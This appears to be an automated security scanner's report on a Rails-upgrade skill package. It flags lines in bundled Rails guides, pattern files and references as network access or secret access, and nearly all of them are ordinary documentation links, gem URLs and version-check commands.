You have enough warmup requests when increasing the number does not significantly change your result. [The theory behind this can be complicated](https://arxiv.org/abs/1602.00602) but most common situations are - Network accessline 243
[The theory behind this can be complicated](https://arxiv.org/abs/1602.00602) but most common situations are
packages/autoskills/skills-registry/rails-guides/references/upgrading_ruby_on_rails.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 53
You can find a list of all released Rails gems [here](https://rubygems.org/gems/rails/versions). - Network accessline 121
Active Record now alphabetically sorts table columns in `schema.rb` by default, so dumps are consistent across machines and don’t flip-flop with migration order -- meaning fewer noisy diffs. `structure.sql` can still be leveraged to preserv - Access to secretsline 205
[Credential-related source omitted] - Network accessline 324
See the [caching with Rails](https://guides.rubyonrails.org/v7.1/caching_with_rails.html#connection-pool-options) guide for more information. - Network accessline 332
it then considers them as string literals. Because of this, typos can silently go unnoticed. For example, it is possible to create an index for a non existing column. See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quot - Network accessline 334
See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details. - Network accessline 379
Alternatively, you can customize the `I18n.exception_handler`. See the [i18n guide](https://guides.rubyonrails.org/v7.1/i18n.html#using-different-exception-handlers) for more information. - Network accessline 380
See the [i18n guide](https://guides.rubyonrails.org/v7.1/i18n.html#using-different-exception-handlers) for more information. - Network accessline 391
See the [Testing Rails Applications](https://guides.rubyonrails.org/testing.html#running-tests-in-continuous-integration-ci) guide for more information. - Network accessline 452
[assert_match]: https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-assert_match - Network accessline 483
In addition, a new configuration [`config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](configuring.html#config-active-record-encryption-support-sha1-for-non-deterministic-encryption) was introduced to resolve [a - Network accessline 484
was introduced to resolve [a bug](https://github.com/rails/rails/issues/42922) that caused some attributes to be - Network accessline 556
Applications still running in `classic` mode have to switch to `zeitwerk` mode. Please check the [Classic to Zeitwerk HOWTO](https://guides.rubyonrails.org/v7.0/classic_to_zeitwerk_howto.html) guide for details. - Network accessline 594
If you still get this warning in the logs, please check the section about autoloading when the application boots in the [autoloading guide](https://guides.rubyonrails.org/v7.0/autoloading_and_reloading_constants.html#autoloading-when-the-ap - Network accessline 987
The default HTTP status code used in `ActionDispatch::SSL` when redirecting non-GET/HEAD requests from HTTP to HTTPS has been changed to `308` as defined in https://tools.ietf.org/html/rfc7538. - Network accessline 991
When processing variants in Active Storage, it's now required to have the [image_processing gem](https://github.com/janko/image_processing) bundled instead of directly using `mini_magick`. Image Processing is configured by default to use `m - Network accessline 1015
More information about this change and details about the API changes can be found [in this PR](https://github.com/rails/rails/pull/32313). - Network accessline 1016
found [in this PR](https://github.com/rails/rails/pull/32313). - Network accessline 1025
[Webpacker](https://github.com/rails/webpacker) - Network accessline 1159
enables `zeitwerk` autoloading mode on CRuby. In that mode, autoloading, reloading, and eager loading are managed by [Zeitwerk](https://github.com/fxn/zeitwerk). - Network accessline 1460
Rails 5.2 adds bootsnap gem in the [newly generated app's Gemfile](https://github.com/rails/rails/pull/29313). - Network accessline 1592
See [#17227](https://github.com/rails/rails/pull/17227) for more details. - Network accessline 1609
See [#19034](https://github.com/rails/rails/pull/19034) for more details. - Network accessline 1628
See [#26404](https://github.com/rails/rails/issues/26404) for more details. - Network accessline 1723
See [#18411](https://github.com/rails/rails/pull/18411) for more details. - Network accessline 1755
# This is a work-around for streamed controllers performing authentication with Warden/Devise. # See https://github.com/plataformatec/devise/issues/2332 - Network accessline 1756
# See https://github.com/plataformatec/devise/issues/2332 - Network accessline 1923
See [#16526](https://github.com/rails/rails/pull/16526) for more details. - Network accessline 1943
See [#14488](https://github.com/rails/rails/pull/14488) and - Network accessline 1944
[#16537](https://github.com/rails/rails/pull/16537) for more details. - Network accessline 2017
There's a new choice for sanitizing HTML fragments in your applications. The venerable html-scanner approach is now officially being deprecated in favor of [`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer). - Network accessline 2019
[`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer). - Network accessline 2024
This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which - Network accessline 2028
The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for powerful scrubbing. [See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber). - Network accessline 2030
[See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber). - Network accessline 2032
Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`. Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information. - Network accessline 2033
Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information. - Network accessline 2046
The [`TagAssertions` module](https://api.rubyonrails.org/v4.1/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e - Network accessline 2140
NOTE: User defined rake tasks will run in the `development` environment by default. If you want them to run in other environments consult the [Spring README](https://github.com/rails/spring#rake). - Network accessline 2142
[Spring README](https://github.com/rails/spring#rake). - Network accessline 2220
Flash message keys are [normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They - Network accessline 2221
[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They - Network accessline 2244
MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) - Network accessline 2253
WARNING: Do not simply replace `MultiJson.load` with `JSON.load` as that API is meant for deserializing arbitrary Ruby objects and is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load). - Network accessline 2254
`JSON.load` as that API is meant for deserializing arbitrary Ruby objects and is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load). Prefer to use `JSON.parse`. - Network accessline 2255
is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load). - Network accessline 2293
If your application depends on one of these features, you can get them back by adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) - Network accessline 2294
adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) - Network accessline 2349
See [this pull request](https://github.com/rails/rails/pull/13271) for more - Network accessline 2585
For more on PATCH and why this change was made, see [this post](https://rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates) - Network accessline 2590
The errata for the `PATCH` verb [specifies that a 'diff' media type should be used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One - Network accessline 2591
used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One - Network accessline 2592
such format is [JSON Patch](https://tools.ietf.org/html/rfc6902). While Rails - Network accessline 2616
As JSON Patch was only recently made into an RFC, there aren't a lot of great Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have - Network accessline 2617
Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have full support for the last few changes in the specification. - Network accessline 2618
[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have - Network accessline 2639
* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your applicatio - Network accessline 2650
* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path. - Network accessline 2684
* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders). - Network accessline 2702
Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your `Gemfile`. - Network accessline 2733
Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies. - Network accessline 2798
* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `confi - Network accessline 2845
The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](https://guides.rubyonrails.org/v4.0/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.
packages/autoskills/skills-registry/rails-guides/references/working_with_javascript_in_rails.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 23
[Import maps](https://github.com/rails/importmap-rails) let you import JavaScript modules using - Network accessline 28
Applications using import maps do not need [Node.js](https://nodejs.org/en/) or - Network accessline 29
[Yarn](https://yarnpkg.com/) to function. If you plan to use Rails with `importmap-rails` to - Network accessline 68
Import maps are the default for new Rails applications, but if you prefer traditional JavaScript bundling, you can create new Rails applications with your choice of [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), - Network accessline 69
bundling, you can create new Rails applications with your choice of [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), [Webpack](https://webpack.js.org/), or [Rollup.js](https://rollupjs.org/guide/en/). - Network accessline 70
[Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), - Network accessline 71
[Webpack](https://webpack.js.org/), or [Rollup.js](https://rollupjs.org/guide/en/). - Network accessline 82
These bundling options each come with a simple configuration and integration with the asset pipeline via the [jsbundling-rails](https://github.com/rails/jsbundling-rails) gem. - Network accessline 83
pipeline via the [jsbundling-rails](https://github.com/rails/jsbundling-rails) gem. - Network accessline 96
Find the installation instructions at the [Bun website](https://bun.sh) and - Network accessline 112
Find the installation instructions at the [Node.js website](https://nodejs.org/en/download/) and - Network accessline 121
To install Yarn, follow the installation instructions at the [Yarn website](https://classic.yarnpkg.com/en/docs/install). Running this command should print out - Network accessline 122
[Yarn website](https://classic.yarnpkg.com/en/docs/install). Running this command should print out - Network accessline 142
For many applications, especially those that rely primarily on the [Hotwire](https://hotwired.dev/) - Network accessline 143
stack for their JavaScript needs, import maps will be the right option for the long term. You can read more about the reasoning behind making import maps the default in Rails 7 [here](https://world.hey.com/dhh/rails-7-will-have-three-great- - Network accessline 145
[here](https://world.hey.com/dhh/rails-7-will-have-three-great-answers-to-javascript-in-2021-8d68191b). - Network accessline 150
* If your code requires a transpilation step, such as JSX or TypeScript. * If you need to use JavaScript libraries that include CSS or otherwise rely on [Webpack loaders](https://webpack.js.org/loaders/). - Network accessline 151
* If you need to use JavaScript libraries that include CSS or otherwise rely on [Webpack loaders](https://webpack.js.org/loaders/). * If you are absolutely sure that you need - Network accessline 152
[Webpack loaders](https://webpack.js.org/loaders/). - Network accessline 153
* If you are absolutely sure that you need [tree-shaking](https://webpack.js.org/guides/tree-shaking/). * If you will install Bootstrap, Bulma, PostCSS, or Dart CSS through the [cssbundling-rails gem](https://github.com/rails/cssbundling- - Network accessline 154
[tree-shaking](https://webpack.js.org/guides/tree-shaking/). - Network accessline 155
* If you will install Bootstrap, Bulma, PostCSS, or Dart CSS through the [cssbundling-rails gem](https://github.com/rails/cssbundling-rails). All options provided by this gem except Tailwind and Sass will automatically install `esbuild` for - Network accessline 160
Whether you choose import maps or a traditional bundler, Rails ships with [Turbo](https://turbo.hotwired.dev/) to speed up your application while dramatically reducing the - Network accessline 161
[Turbo](https://turbo.hotwired.dev/) to speed up your application while dramatically reducing the - Network accessline 169
[Turbo Drive](https://turbo.hotwired.dev/handbook/drive) speeds up page loads by avoiding full-page - Network accessline 175
[Turbo Frames](https://turbo.hotwired.dev/handbook/frames) allow predefined parts of a page to be - Network accessline 181
Rails provides HTML helpers to simplify the use of Turbo Frames through the [turbo-rails](https://github.com/hotwired/turbo-rails) gem. - Network accessline 182
[turbo-rails](https://github.com/hotwired/turbo-rails) gem. - Network accessline 197
[Turbo Streams](https://turbo.hotwired.dev/handbook/streams) deliver page changes as fragments of - Network accessline 202
Rails provides HTML and server-side helpers to simplify the use of Turbo Streams through the [turbo-rails](https://github.com/hotwired/turbo-rails) gem. - Network accessline 203
[turbo-rails](https://github.com/hotwired/turbo-rails) gem. - Network accessline 267
Clicking links always results in an HTTP GET request. If your application is [RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer), some links are in fact - Network accessline 268
[RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer), some links are in fact actions that change data on the server, and should be performed with non-GET requests. The `data-turbo-method` attribute allows marking up such - Network accessline 328
[Rails Request.JS](https://github.com/rails/request.js) encapsulates the logic - Network accessline 341
async function myMethod () { const request = new FetchRequest('post', 'http://localhost:3000/posts', { - Network accessline 342
const request = new FetchRequest('post', 'http://localhost:3000/posts', { - Network accessline 361
[`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags
packages/autoskills/skills-registry/rails-upgrade/SKILL.md
- Network accessline 32
- **dual-boot skill** ([github.com/ombulabs/claude-code_dual-boot-skill](https://github.com/ombulabs/claude-code_dual-boot-skill)) — Sets up and manages dual-boot environments using the `next_rails` gem. Covers setup, `NextRails.next?` code - Network accessline 34
- **rails-load-defaults skill** ([github.com/ombulabs/claude-code_rails-load-defaults-skill](https://github.com/ombulabs/claude-code_rails-load-defaults-skill)) — Handles incremental `load_defaults` updates with tiered risk assessment (Tier - Network accessline 67
**DEPENDENCY:** Requires the [dual-boot skill](https://github.com/ombulabs/claude-code_dual-boot-skill) - Network accessline 99
### External Dependencies - **dual-boot skill** - Dual-boot setup and management with next_rails (Workflow 04) (https://github.com/ombulabs/claude-code_dual-boot-skill) - Network accessline 100
- **dual-boot skill** - Dual-boot setup and management with next_rails (Workflow 04) (https://github.com/ombulabs/claude-code_dual-boot-skill) - Network accessline 101
- **rails-load-defaults skill** - Incremental load_defaults alignment (Workflow 12) (https://github.com/ombulabs/claude-code_rails-load-defaults-skill)
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/gem_limits.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/hop.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-40-patterns.expectations.yml
- Network accessline 412
- " def self.cache_key" # the app's own cache_key method taking an argument, or defining one - " Rails.cache.fetch(cache_key(:totals)) do" - Network accessline 413
# the app's own cache_key method taking an argument, or defining one - " Rails.cache.fetch(cache_key(:totals)) do" - " Rails.cache.fetch(report.cache_key(:monthly_totals))" - Network accessline 414
- " Rails.cache.fetch(cache_key(:totals)) do" - Network accessline 415
- " Rails.cache.fetch(report.cache_key(:monthly_totals))" - Network accessline 420
- " cache_key ||= compute_key" - " cache_key << record.id.to_s" - " settings = Rails.cache.fetch(cache_key, expires_in: 12.hours) do" - Network accessline 421
- " cache_key << record.id.to_s" - " settings = Rails.cache.fetch(cache_key, expires_in: 12.hours) do" - " = cache cache_key do" - Network accessline 422
- " settings = Rails.cache.fetch(cache_key, expires_in: 12.hours) do" - Network accessline 474
- " background-image: image-url(\"backgrounds/stripes.png\");" # a full URL on another host is not served by this app's pipeline - " background: url(\"https://cdn.example.com/assets/x.svg\");" - Network accessline 475
# a full URL on another host is not served by this app's pipeline - " background: url(\"https://cdn.example.com/assets/x.svg\");" # the prefix setting itself carries no trailing slash - Network accessline 476
- " background: url(\"https://cdn.example.com/assets/x.svg\");"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-40-patterns.yml
- Network accessline 406
- "lib/" - "config/" explanation: "Rails 4.0 changes the default `ActiveRecord::Base.cache_timestamp_format` from `:number` to `:nsec`, so `record.cache_key` for a record with `updated_at` gains nine digits of fractional secon - Network accessline 407
- "config/" explanation: "Rails 4.0 changes the default `ActiveRecord::Base.cache_timestamp_format` from `:number` to `:nsec`, so `record.cache_key` for a record with `updated_at` gains nine digits of fractional seconds (`accounts/1-2 - Network accessline 408
explanation: "Rails 4.0 changes the default `ActiveRecord::Base.cache_timestamp_format` from `:number` to `:nsec`, so `record.cache_key` for a record with `updated_at` gains nine digits of fractional seconds (`accounts/1-20140102030405` on - Network accessline 442
- "vendor/assets/" - "public/*.html" explanation: "Rails 3.2 wrote every precompiled asset twice. When config.assets.digest is on, the 3.2 `assets:precompile:all` task (actionpack lib/sprockets/assets.rake) runs `assets:precom - Network accessline 443
- "public/*.html" explanation: "Rails 3.2 wrote every precompiled asset twice. When config.assets.digest is on, the 3.2 `assets:precompile:all` task (actionpack lib/sprockets/assets.rake) runs `assets:precompile:nondigest` after the d - Network accessline 444
explanation: "Rails 3.2 wrote every precompiled asset twice. When config.assets.digest is on, the 3.2 `assets:precompile:all` task (actionpack lib/sprockets/assets.rake) runs `assets:precompile:nondigest` after the digest pass, so public/as - Network accessline 699
gem_name: "protected_attributes" message: "Temporary bridge gem for attr_accessible — migrate to Strong Parameters then remove" url: "https://github.com/rails/protected_attributes" - Network accessline 701
url: "https://github.com/rails/protected_attributes" - Network accessline 705
gem_name: "rails-observers" message: "Required if using ActiveRecord Observers or Sweepers" url: "https://github.com/rails/rails-observers" - Network accessline 707
url: "https://github.com/rails/rails-observers" - Network accessline 711
gem_name: "activerecord-deprecated_finders" message: "Dependency of Rails 4.0 only. Restores, with a deprecation warning, dynamic finders (find_all_by_* etc.), find(:all, ...) option hashes and the old association options :conditions (i - Network accessline 713
url: "https://github.com/rails/activerecord-deprecated_finders" - Network accessline 717
gem_name: "actionpack-action_caching" message: "Required if using caches_action or expire_action (ACTION_CACHING), extracted from Rails core at 4.0. Requires actionpack >= 4.0, so add it on the next side only" url: "https://github.c - Network accessline 719
url: "https://github.com/rails/actionpack-action_caching" - Network accessline 723
gem_name: "actionpack-page_caching" message: "Required if using caches_page, expire_page or page_cache_directory (PAGE_CACHING), extracted from Rails core at 4.0. Separate gem from actionpack-action_caching. Requires actionpack >= 4.0, - Network accessline 725
url: "https://github.com/rails/actionpack-page_caching" - Network accessline 729
gem_name: "activeresource" message: "Required if using ActiveResource" url: "https://github.com/rails/activeresource" - Network accessline 731
url: "https://github.com/rails/activeresource" - Network accessline 735
gem_name: "paper_trail" message: "If the app uses paper_trail, pin it per side on the dual-boot: `gem \"paper_trail\", \"3.0.0\"` when next?, else `\"~> 2\"`. 3.0.0 runs on Rails-4 ActiveRecord, which requires symbol association names — - Network accessline 737
url: "https://github.com/paper-trail-gem/paper_trail"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-41-patterns.yml
- Network accessline 478
gem_name: "multi_json" message: "Add to Gemfile only if the app still calls MultiJson.dump / MultiJson.load directly. Rails 4.1 no longer pulls it in" url: "https://github.com/intridea/multi_json" - Network accessline 480
url: "https://github.com/intridea/multi_json" - Network accessline 484
gem_name: "activerecord-deprecated_finders" message: "Short-term bridge: restores find_all_by_*, find_last_by_*, scoped_by_*, dynamic find_or_*_by_* finders, finder options and update_all with conditions, removed from Rails 4.1. Also re - Network accessline 486
url: "https://github.com/rails/activerecord-deprecated_finders" - Network accessline 490
gem_name: "spring" message: "New Rails 4.1 default — application preloader that keeps the Rails environment in memory between commands" url: "https://github.com/rails/spring" - Network accessline 492
url: "https://github.com/rails/spring" - Network accessline 496
gem_name: "activesupport-json_encoder" message: "Restore pre-4.1 JSON encoder behavior: circular data-structure detection, encode_json hook, BigDecimal-as-number option" url: "https://github.com/rails/activesupport-json_encoder" - Network accessline 498
url: "https://github.com/rails/activesupport-json_encoder"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-42-patterns.yml
- Network accessline 179
gem_name: "responders" message: "Required if controllers use respond_with or class-level respond_to" url: "https://github.com/heartcombo/responders" - Network accessline 181
url: "https://github.com/heartcombo/responders" - Network accessline 185
gem_name: "web-console" message: "New Rails 4.2 default - interactive IRB console in development on error pages and via <%= console %> helper" url: "https://github.com/rails/web-console" - Network accessline 187
url: "https://github.com/rails/web-console" - Network accessline 191
gem_name: "rails-deprecated_sanitizer" message: "Temporary fallback if the new Loofah-based sanitizer produces unexpected output (not recommended long-term, 4.2-only)" url: "https://github.com/rails/rails-deprecated_sanitizer" - Network accessline 193
url: "https://github.com/rails/rails-deprecated_sanitizer"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-50-patterns.yml
- Network accessline 139
gem_name: "rails-controller-testing" message: "Required if tests use assigns() or assert_template" url: "https://github.com/rails/rails-controller-testing" - Network accessline 141
url: "https://github.com/rails/rails-controller-testing" - Network accessline 145
gem_name: "test-unit" message: "Required if you see 'cannot load such file -- test/unit/assertions' after upgrading Ruby" url: "https://github.com/test-unit/test-unit" - Network accessline 147
url: "https://github.com/test-unit/test-unit" - Network accessline 151
gem_name: "rails_upgrader" message: "Helps automate Strong Parameters migration from attr_accessible" url: "https://github.com/fastruby/rails_upgrader" - Network accessline 153
url: "https://github.com/fastruby/rails_upgrader"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-51-patterns.expectations.yml
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-51-patterns.yml
- Network accessline 229
gem_name: "webpacker" message: "New Rails 5.1 default for JavaScript bundling via Webpack + Yarn. Optional — adopt only if moving off Sprockets for JS" url: "https://github.com/rails/webpacker" - Network accessline 231
url: "https://github.com/rails/webpacker" - Network accessline 235
gem_name: "rails-controller-testing" message: "Still required if tests use assigns() or assert_template (carried over from the 5.0 extraction)" url: "https://github.com/rails/rails-controller-testing" - Network accessline 237
url: "https://github.com/rails/rails-controller-testing"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-52-patterns.expectations.yml
- Access to secretsline 126
[Credential-related source omitted]
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-52-patterns.yml
- Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 161
[Credential-related source omitted] - Network accessline 167
gem_name: "bootsnap" message: "New Rails 5.2 default; opt-in performance improvement that caches expensive boot-time computations (file path resolution, YAML/JSON parses, ISeq compilation)" url: "https://github.com/Shopify/bootsnap" - Network accessline 169
url: "https://github.com/Shopify/bootsnap"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-60-patterns.yml
- Network accessline 310
gem_name: "zeitwerk" message: "Rails 6.0 uses Zeitwerk for code loading" url: "https://github.com/fxn/zeitwerk" - Network accessline 312
url: "https://github.com/fxn/zeitwerk" - Network accessline 316
gem_name: "webpacker" message: "Rails 6.0 uses Webpacker for JavaScript by default" url: "https://github.com/rails/webpacker" - Network accessline 318
url: "https://github.com/rails/webpacker"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-70-patterns.expectations.yml
- Network accessline 23
- " redirect_to request.referer" # literal external URL, both quote styles - " redirect_to \"https://example.com\"" - Network accessline 24
# literal external URL, both quote styles - " redirect_to \"https://example.com\"" - " redirect_to 'http://example.com/callback'" - Network accessline 25
- " redirect_to \"https://example.com\"" - Network accessline 26
- " redirect_to 'http://example.com/callback'" - Network accessline 36
- " redirect_to user_path(params[:id])" # already opted in, the exclude regex must suppress it - " redirect_to \"https://example.com\", allow_other_host: true" - Network accessline 38
- " redirect_to \"https://example.com\", allow_other_host: true"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-70-patterns.yml
- Access to secretsline 63
[Credential-related source omitted] - Network accessline 128
- "lib/" explanation: "load_defaults 7.0 sets config.action_controller.raise_on_open_redirects = true. With it on, redirect_to and redirect_back_or_to to a host different from the current one raise ActionController::Redirecting::Unsaf - Network accessline 129
explanation: "load_defaults 7.0 sets config.action_controller.raise_on_open_redirects = true. With it on, redirect_to and redirect_back_or_to to a host different from the current one raise ActionController::Redirecting::UnsafeRedirectError - Network accessline 130
fix: "For each intentional external redirect, pass allow_other_host: true, e.g. redirect_to \"https://example.com\", allow_other_host: true. Never pass allow_other_host: true on a destination built from untrusted input (params, session, req - Network accessline 168
gem_name: "importmap-rails" message: "Rails 7.0 uses Import Maps by default for JavaScript" url: "https://github.com/rails/importmap-rails" - Network accessline 170
url: "https://github.com/rails/importmap-rails" - Network accessline 174
gem_name: "turbo-rails" message: "Rails 7.0 uses Turbo (Hotwire) for SPA-like navigation" url: "https://github.com/hotwired/turbo-rails" - Network accessline 176
url: "https://github.com/hotwired/turbo-rails" - Network accessline 180
gem_name: "stimulus-rails" message: "Rails 7.0 uses Stimulus for JavaScript behaviors" url: "https://github.com/hotwired/stimulus-rails" - Network accessline 182
url: "https://github.com/hotwired/stimulus-rails"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-71-patterns.expectations.yml
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-80-patterns.yml
- Network accessline 191
- "app/assets/" explanation: "Rails 8.0 makes Propshaft the default asset pipeline for new apps, but Sprockets stays a first-class citizen. Existing apps can keep Sprockets at 8.0 with no changes — sprockets-rails continues to ship an - Network accessline 192
explanation: "Rails 8.0 makes Propshaft the default asset pipeline for new apps, but Sprockets stays a first-class citizen. Existing apps can keep Sprockets at 8.0 with no changes — sprockets-rails continues to ship and work. Migrating from - Network accessline 193
fix: "No action required for the version bump. Optionally migrate to Propshaft as a separate effort if you want the new defaults (faster, no preprocessing pipeline). See https://github.com/rails/propshaft" - Network accessline 278
gem_name: "propshaft" message: "Rails 8.0 uses Propshaft instead of Sprockets for assets" url: "https://github.com/rails/propshaft" - Network accessline 280
url: "https://github.com/rails/propshaft" - Network accessline 284
gem_name: "solid_cache" message: "Rails 8.0 includes Solid Cache for database-backed caching (optional)" url: "https://github.com/rails/solid_cache" - Network accessline 286
url: "https://github.com/rails/solid_cache" - Network accessline 290
gem_name: "solid_queue" message: "Rails 8.0 includes Solid Queue for database-backed jobs (optional)" url: "https://github.com/rails/solid_queue" - Network accessline 292
url: "https://github.com/rails/solid_queue" - Network accessline 296
gem_name: "solid_cable" message: "Rails 8.0 includes Solid Cable for database-backed WebSockets (optional)" url: "https://github.com/rails/solid_cable" - Network accessline 298
url: "https://github.com/rails/solid_cable" - Network accessline 302
gem_name: "kamal" message: "Rails 8.0 includes Kamal for deployment" url: "https://kamal-deploy.org" - Network accessline 304
url: "https://kamal-deploy.org"
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-81-patterns.yml
packages/autoskills/skills-registry/rails-upgrade/detection-scripts/scan_patterns.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/rails-upgrade/references/deprecation-warnings-reference.md
- Network accessline 76
The best way to discover production deprecation warnings is through a monitoring tool like [Honeybadger](https://www.honeybadger.io/), [Sentry](https://sentry.io/), or [Airbrake](https://airbrake.io/). - Network accessline 114
See the [ActiveSupport Instrumentation Guide](https://guides.rubyonrails.org/active_support_instrumentation.html#subscribing-to-an-event) for more details. - Network accessline 209
Write custom Rubocop cops to prevent deprecated patterns. See [Lint/DeprecatedClassMethods](https://github.com/rubocop-hq/rubocop/blob/master/lib/rubocop/cop/lint/deprecated_class_methods.rb) for examples. - Network accessline 370
- [Rails Deprecation Behavior](https://guides.rubyonrails.org/configuring.html#config-active-support-deprecation) - Network accessline 371
- [ActiveSupport Instrumentation](https://guides.rubyonrails.org/active_support_instrumentation.html) - Network accessline 372
- [Rubocop](https://github.com/rubocop-hq/rubocop)
packages/autoskills/skills-registry/rails-upgrade/references/gem-compatibility-reference.md
- Network accessline 63
**How to verify whether your target Rails patch needs the pin:** `curl -s https://raw.githubusercontent.com/rails/rails/v<VERSION>/activesupport/lib/active_support/logger_thread_safe_level.rb | head -10` and check for `require "logger"` nea
packages/autoskills/skills-registry/rails-upgrade/references/multi-hop-strategy-reference.md
- Network accessline 27
1. Check [rubygems.org/gems/rails/versions](https://rubygems.org/gems/rails/versions) for all releases in your series - Dangerous shell operationline 58
curl -s https://rubygems.org/api/v1/versions/rails.json | ruby -rjson -e ' - Network accessline 58
curl -s https://rubygems.org/api/v1/versions/rails.json | \ - Network accessline 316
**Check compatibility at:** - https://rubygems.org (version requirements) - Network accessline 317
- https://rubygems.org (version requirements)
packages/autoskills/skills-registry/rails-upgrade/references/no-test-suite-smoke-reference.md
packages/autoskills/skills-registry/rails-upgrade/references/staying-current-reference.md
- Network accessline 174
Use tools like [Dependabot](https://docs.github.com/en/code-security/dependabot) or [Renovate](https://www.mend.io/renovate/) to automatically create PRs for dependency updates. - Network accessline 257
1. **Rails Blog**: https://rubyonrails.org/blog/ - Network accessline 258
2. **Rails Twitter**: https://twitter.com/rails - Network accessline 259
3. **Rails GitHub Releases**: https://github.com/rails/rails/releases - Network accessline 260
4. **Ruby Weekly Newsletter**: https://rubyweekly.com/ - Network accessline 383
- [RailsBump](https://railsbump.org/) - Gem compatibility checker - Network accessline 384
- [RailsDiff](https://railsdiff.org/) - Compare Rails versions - Network accessline 385
- [FastRuby.io Blog](https://www.fastruby.io/blog) - Upgrade guides and tips - Network accessline 386
- [next_rails gem](https://github.com/fastruby/next_rails) - Dual-boot tool
packages/autoskills/skills-registry/rails-upgrade/templates/upgrade-report-template.md
- Network accessline 207
- [Rails {TO} Release Notes](https://guides.rubyonrails.org/{TO_UNDERSCORE}_release_notes.html) - Network accessline 208
- [Rails Upgrade Guide](https://guides.rubyonrails.org/upgrading_ruby_on_rails.html) - Network accessline 209
- [FastRuby.io Rails Upgrade Blog](https://www.fastruby.io/blog) - Network accessline 221
**Report generated by Rails Upgrade Assistant**, built on the [FastRuby.io](https://www.fastruby.io) upgrade methodology. Want a team that does this every week to take the hop from here? [Talk to FastRuby.io](https://www.fastruby.io/contact
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-3.2-to-4.0.md
- Network accessline 612
